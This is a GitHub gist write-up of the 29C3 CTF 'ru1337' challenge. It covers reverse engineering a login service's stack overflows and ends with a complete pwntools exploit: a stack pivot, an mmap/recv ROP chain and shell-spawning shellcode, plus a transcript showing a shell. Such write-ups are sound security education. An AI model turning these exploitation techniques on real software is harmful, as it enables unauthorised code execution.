Skip to content

Instantly share code, notes, and snippets.

@ebeip90
Last active August 29, 2015 14:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ebeip90/1a89be04103ec6e8137f to your computer and use it in GitHub Desktop.
Save ebeip90/1a89be04103ec6e8137f to your computer and use it in GitHub Desktop.

29C3 CTF - ru1337

Looking for some things to keep me busy since we didn't qual for DEFCON this year :(.

This is an exploitation challenge from the Chaos Computer Conference 29. Let's take a look.

Initial Survey

checksec tells us that we don't have to worry about ASLR or stack canaries.

RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   ru1337

The binary does nothing and exits when run under strace with no arguments. A quick glance into IDA shows that it is using argv[1] as a port.

.text:08048A8E     mov     eax, [ebp+argv]
.text:08048A91     add     eax, 4
.text:08048A94     mov     eax, [eax]
.text:08048A96     mov     [esp], eax                  ; nptr
.text:08048A99     call    _atoi
.text:08048A9E     movzx   eax, ax
.text:08048AA1     mov     [esp], eax                  ; hostshort
.text:08048AA4     call    _htons

Connecting to the port, we see that it asks for a username and password.

$ nc localhost 12345
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: user
Password: password
u r not s0 1337zz!!!

In the process of doing so, we see a few interesting calls on mmap. If we run it under strace just passing in a large amount of data, we see this.

mmap2(0xbadc0de, 136, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xbadc000
send(4, "ID&PASSWORD 1337NESS EVALUATION\n"..., 79, 0) = 79
recv(4, "aaaabaaacaaadaaaeaaafaaagaaahaaa"..., 44, 0) = 44
send(4, "Password: ", 10, 0)            = 10
recv(4, "laaamaaanaaaoaaapaaaqaaaraaasaaa"..., 128, 0) = 57
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x61616167} ---

Cool, we can crash already!

Reverse Engineering

The routine at 80489F2 is straightforward: it calls the routine at 80487E1, and then calls a global function pointer.

80487E1 is pretty straightforward as well, and looks exactly like what we saw in the strace output. The crash that occurs is because the buffer we are filling is 8 bytes each for username and password, but more data is allowed to be read in. The only caveat is that username must be only alpha characters ([A-Za-z]).

void *__cdecl recvdata(int a1)
{
  void *result; // eax@1
  char password[8]; // [sp+24h] [bp-94h]@1
  char username[8]; // [sp+A4h] [bp-14h]@1
  int i; // [sp+ACh] [bp-Ch]@2

  memset(username, 0, 8u);
  memset(password, 0, 8u);
  result = mmap((void *)0xBADC0DE, 136u, 3, 34, 0, 0);
  function_pointer = (char *)result;
  if ( result != (void *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EV", 0x4Fu, 0);
    recv(fd, username, 0x2Cu, 0);
    for ( i = 0; i <= 7 && username[i] && username[i] != '\n'; ++i )
    {
      if ( !((*__ctype_b_loc())[username[i]] & 0x400) )// isalpha
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, &unk_8048CF8, 0xAu, 0);
    recv(fd, password, 0x80u, 0);
    strcpy(function_pointer, username);
    strcpy(function_pointer + 8, password);
    dup2(fd, 0);
    dup2(fd, 1);
    result = (void *)dup2(fd, 2);
  }
  return result;
}

The variable I've named function_pointer is the one that we invoke upon returning from the routine.

So we've got two straight buffer overflows, with up to 8+0x80 bytes of data, and our data is loaded into a staticall-allocated buffer, as well as the stack. Additionally, our socket file descriptor is duplicated to stdin/stdout/stderr.

Unfortunately, this is not quite the case. Taking a look at the stack layout for the routine, we see that the password buffer is indeed 0x80 (128) bytes long. The disassembly is misleading since only the first 8 bytes are cleared.

-00000094 password db 128 dup(?)
-00000014 username db 8 dup(?)

Exploitation

This seems straightforward on face value, but the isalpha limitation on the username (first eight bytes) is annoying for shellcode.

Our username buffer is 0x18 bytes away from the return address, and we can read 0x2c bytes into the buffer. This gives us 5 DWORDs worth of ROP.

Also, our entire buffer (first 8 bytes of username, followed by password) are copied into a statically-addressed buffer. We may be able to pivot the stack into this buffer.

The binary has a lot of useful gadgets in it. Using Jon Salwan's ROPgadget.py, you can easily enumerate them. In order to pivot the stack, we need to set ESP to a value we control. A common gadget sequence for this is pop ebp, ret; leave, ret. Let's see if pwntools can find it.

from pwn import *
r = ROP('./ru1337')

print "pop ebp: %x" % r.gadget('popebp')
print "leave:   %x" % r.gadget('leave')

Great, looks like we can control EBP via a pop ebp; ret gadget, and can then set esp via a leave; ret gadget. We will set ESP to 0xBADC0DE+8 which is where the password is copied to.

Now that we have pivoted the stack, giving us much more space to work with, we can leverage the pwntools to auto-generate a ROP chain for us to mmap an executable buffer and copy shellcode into it.

Gotchas

Of course, this would work great, if our second-stage ROP was copied into the static buffer using memcpy. Unfortunately, it uses strcpy which makes ROP much more difficult than it would otherwise be. In particular, passing sizes and flags to mmap or recv becomes impossible.

Exploitation - Second Approach

A better second approach is to change the pivot mechnism. By returning to recv(), we can read a bunch of data into the static mmaped buffer. By setting EBP to point into the buffer, we can also just ROP from there.

Now we have as much stack space to play with as we like, and no isalpha or strcpy constraints. We can use a straightforward ROP chain to mprotect() or mmap()/recv().

Transcript

python exploit.py
 [+] Loading ELF file `ru1337': Done
Stage 1:
00000000  61 61   61 61  |aaaa|
00000004  62 61   61 61  |baaa|
00000008  63 61   61 61  |caaa|
0000000c  64 61   61 61  |daaa|
00000010  65 61   61 61  |eaaa|
00000014  00 c8   ad 0b  |....|
00000018  78 89   04 08  |x...|
0000001c  00 00   00 00  |....|
00000020  04 c8   ad 0b  |....|
00000024  00 10   00 00  |....|
00000028  00 00   00 00  |....|
0000002c
Stage 2:
00000000  00 86   04 08  |....|
00000004  69 8c   04 08  |i...|
00000008  0d f0   d0 ba  |....|
0000000c  00 10   00 00  |....|
00000010  07 00   00 00  |....|
00000014  22 00   00 00  |"...|
00000018  ff ff   ff ff  |....|
0000001c  00 00   00 00  |....|
00000020  ef be   ad de  |....|
*
00000034  90 86   04 08  |....|
00000038  0d f0   d0 ba  |....|
0000003c  04 00   00 00  |....|
00000040  0d f0   d0 ba  |....|
00000044  00 10   00 00  |....|
00000048  00 00   00 00  |....|
0000004c
 [+] Opening connection to 127.0.0.1 on port 12345: Done
 [+] Recieving all data: Done
 [*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
from pwn import *
context('i386','linux')
# Calculate the offset of the return address from the start
# of the username based on the crash above, which put EIP=61616167.
# This would put EBP at 61616166.
stage1 = de_bruijn(de_bruijn_find(p32(0x61616166)))
EBP = 0xBADC800
stage1 += p32(EBP)
stage1 += p32(0x8048978) # return address = recv(password)
stage1 += p32(0) # sockfd = stdin
stage1 += p32(EBP + 4) # buf = return address on fake stack
stage1 += p32(0x1000) # size
stage1 += p32(0) # flags
print 'Stage 1:'
print hexdump(stage1, 4)
assert len(stage1) <= 0x30, "Stage1 too long"
# Generate our second-stage ROP chain
hexint = lambda x: int(x, 16)
READ,WRITE,EXEC = map(hexint, clookup('PROT_READ','PROT_WRITE','PROT_EXEC'))
PRIVATE,ANON = map(hexint, clookup('MAP_PRIVATE','MAP_ANON'))
# ROP Choice A: mmap() and recv()
r = ROP('./ru1337')
r.call('mmap', [0xBAD0F00D, 0x1000, READ|WRITE|EXEC, PRIVATE|ANON, -1, 0])
r.call('recv', [4, 0xBAD0F00D, 0x1000, 0])
r.call(0xBAD0F00D)
stage2 = str(r.chain())
print "Stage 2:"
print hexdump(stage2, 4)
# Connect to the target and spawn a shell
TARGET=('127.0.0.1', 12345)
t = remote(*TARGET)
t.send(stage1)
t.sendline('password')
t.recvall()
t.send(stage2)
t.send(asm(shellcode.sh()))
t.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment